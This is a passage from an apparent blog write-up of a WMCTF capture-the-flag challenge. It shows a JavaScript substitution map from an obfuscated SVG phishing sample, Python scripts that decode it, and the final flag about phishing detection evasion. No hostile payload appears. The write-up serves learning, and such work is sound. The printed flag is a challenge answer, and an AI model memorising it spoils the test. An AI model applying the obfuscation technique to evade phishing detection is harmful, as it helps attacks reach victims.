                            '4p2H': 'n', '4pyx': 'n', '4p2I': 'o', '4p2A': 'o', '4p2C': 's',
                            '4p2Y': 's', '4p2j': 't', '77iK': 't', '4p2U': 't', '4p2K': 't',
                            '4p2N': 't', '4p2E': 'v', '4oyM': 'w', '77iL': '{', '4py9': '}',
                            '77iN': '_', '4p2W': '_', '4p2Q': '_', '4p2G': '_', '4py8': '!',
                            '4py7': '!', '4py6': '!', '4py5': '!', '4py4': '!'
                        };
                        return charMap[match] || '';
                    });

解密映射

import re

# 1. 字符映射表(与第一步保持一致)
char_map = {
    '4p2V': 'A', '4p2P': 'D', '4p2F': 'E', '4p2g': 'G', '4p2a': 'P',
    '4p2c': 'S', '4oyI': 'V', '4p2T': 'a', '77iP': 'c', '4p2S': 'c',
    '4p2L': 'c', '4p2D': 'a', '4p2O': 'e', '4p2M': 'e', '4p2d': 'f',
    '77iO': 'g', '4p2b': 'h', '4p2Z': 'h', '4oyL': 'i', '77iM': 'i',
    '4p2J': 'i', '4p2B': 'i', '4p2R': 'k', '4p2h': 'm', '4p2X': 'n',
    '4p2H': 'n', '4pyx': 'n', '4p2I': 'o', '4p2A': 'o', '4p2C': 's',
    '4p2Y': 's', '4p2j': 't', '77iK': 't', '4p2U': 't', '4p2K': 't',
    '4p2N': 't', '4p2E': 'v', '4oyM': 'w', '77iL': '{', '4py9': '}',
    '77iN': '_', '4p2W': '_', '4p2Q': '_', '4p2G': '_', '4py8': '!',
    '4py7': '!', '4py6': '!', '4py5': '!', '4py4': '!'
}

# 2. 加密数据(仅真实数据部分)
polymorphic_data = [
    '4oyM4p2h77iP4p2j4oyM4p2d77iL4p2c4oyI4p2g77iN4p2a77iP4p2b4oyL4p2Y',  # 索引3
    '4p2Z77iM4p2X77iO4p2W77iM4p2V77iK4p2U77iL4p2T77iM4p2S77iN4p2R',      # 索引4
    '4p2Q77iL4p2P77iO4p2O77iM4p2N77iK4p2M77iL4p2L77iM4p2K77iN4p2J',      # 索引5
    '4p2I77iL4p2H77iO4p2G77iM4p2F77iK4p2E77iL4p2D77iM4p2C77iN4p2B',      # 索引6
    '4p2A77iL4pyx77iO4py977iM4py877iK4py777iL4py677iM4py577iN4py4'       # 索引7
]

conbined_data = ''.join(polymorphic_data)
# 3. 解密函数
used_keys = set()
sorted_keys = sorted(char_map.keys(), key=len, reverse=True)#将key按照长度从大到小排序,避免匹配错误
pattern = re.compile('|'.join(re.escape(key) for key in sorted_keys))
final_flag_list = []

for match in pattern.finditer(conbined_data):
    key = match.group(0)
    #if key not in used_keys:
    final_flag_list.append(char_map[key])
    used_keys.add(key)
        
flag = "".join(final_flag_list)
print("Flag:", flag)
//Flag: wmctwf{SVG_Pchishing_iAtt{aic_k_{Dgeitte{cit_io{ng_iEtv{ais_io{ng}i!t!{!i!_!

比赛的时候就卡在这了,长得有点像flag,当时都猜出来几个单词了,但还是没做出来...

复盘时候才发现开头wmctwf出现了两次w,所以推测映射表中的元素只能映射一次

import re

# 1. 字符映射表(与第一步保持一致)
char_map = {
    '4p2V': 'A', '4p2P': 'D', '4p2F': 'E', '4p2g': 'G', '4p2a': 'P',
    '4p2c': 'S', '4oyI': 'V', '4p2T': 'a', '77iP': 'c', '4p2S': 'c',
    '4p2L': 'c', '4p2D': 'a', '4p2O': 'e', '4p2M': 'e', '4p2d': 'f',
    '77iO': 'g', '4p2b': 'h', '4p2Z': 'h', '4oyL': 'i', '77iM': 'i',
    '4p2J': 'i', '4p2B': 'i', '4p2R': 'k', '4p2h': 'm', '4p2X': 'n',
    '4p2H': 'n', '4pyx': 'n', '4p2I': 'o', '4p2A': 'o', '4p2C': 's',
    '4p2Y': 's', '4p2j': 't', '77iK': 't', '4p2U': 't', '4p2K': 't',
    '4p2N': 't', '4p2E': 'v', '4oyM': 'w', '77iL': '{', '4py9': '}',
    '77iN': '_', '4p2W': '_', '4p2Q': '_', '4p2G': '_', '4py8': '!',
    '4py7': '!', '4py6': '!', '4py5': '!', '4py4': '!'
}

# 2. 加密数据(仅真实数据部分)
polymorphic_data = [
    '4oyM4p2h77iP4p2j4oyM4p2d77iL4p2c4oyI4p2g77iN4p2a77iP4p2b4oyL4p2Y',  # 索引3
    '4p2Z77iM4p2X77iO4p2W77iM4p2V77iK4p2U77iL4p2T77iM4p2S77iN4p2R',      # 索引4
    '4p2Q77iL4p2P77iO4p2O77iM4p2N77iK4p2M77iL4p2L77iM4p2K77iN4p2J',      # 索引5
    '4p2I77iL4p2H77iO4p2G77iM4p2F77iK4p2E77iL4p2D77iM4p2C77iN4p2B',      # 索引6
    '4p2A77iL4pyx77iO4py977iM4py877iK4py777iL4py677iM4py577iN4py4'       # 索引7
]

conbined_data = ''.join(polymorphic_data)
# 3. 解密函数
used_keys = set()
sorted_keys = sorted(char_map.keys(), key=len, reverse=True)#将key按照长度从大到小排序,避免匹配错误
pattern = re.compile('|'.join(re.escape(key) for key in sorted_keys))
final_flag_list = []

for match in pattern.finditer(conbined_data):
    key = match.group(0)
    if key not in used_keys:
        final_flag_list.append(char_map[key])
        used_keys.add(key)
        
flag = "".join(final_flag_list)
print("Flag:", flag)
//Flag: wmctf{SVG_Phishing_Attack_Detection_Evasion}!!!!!
posted @ 2025-10-09 18:00  leee0  阅读(11)  评论(0)    收藏  举报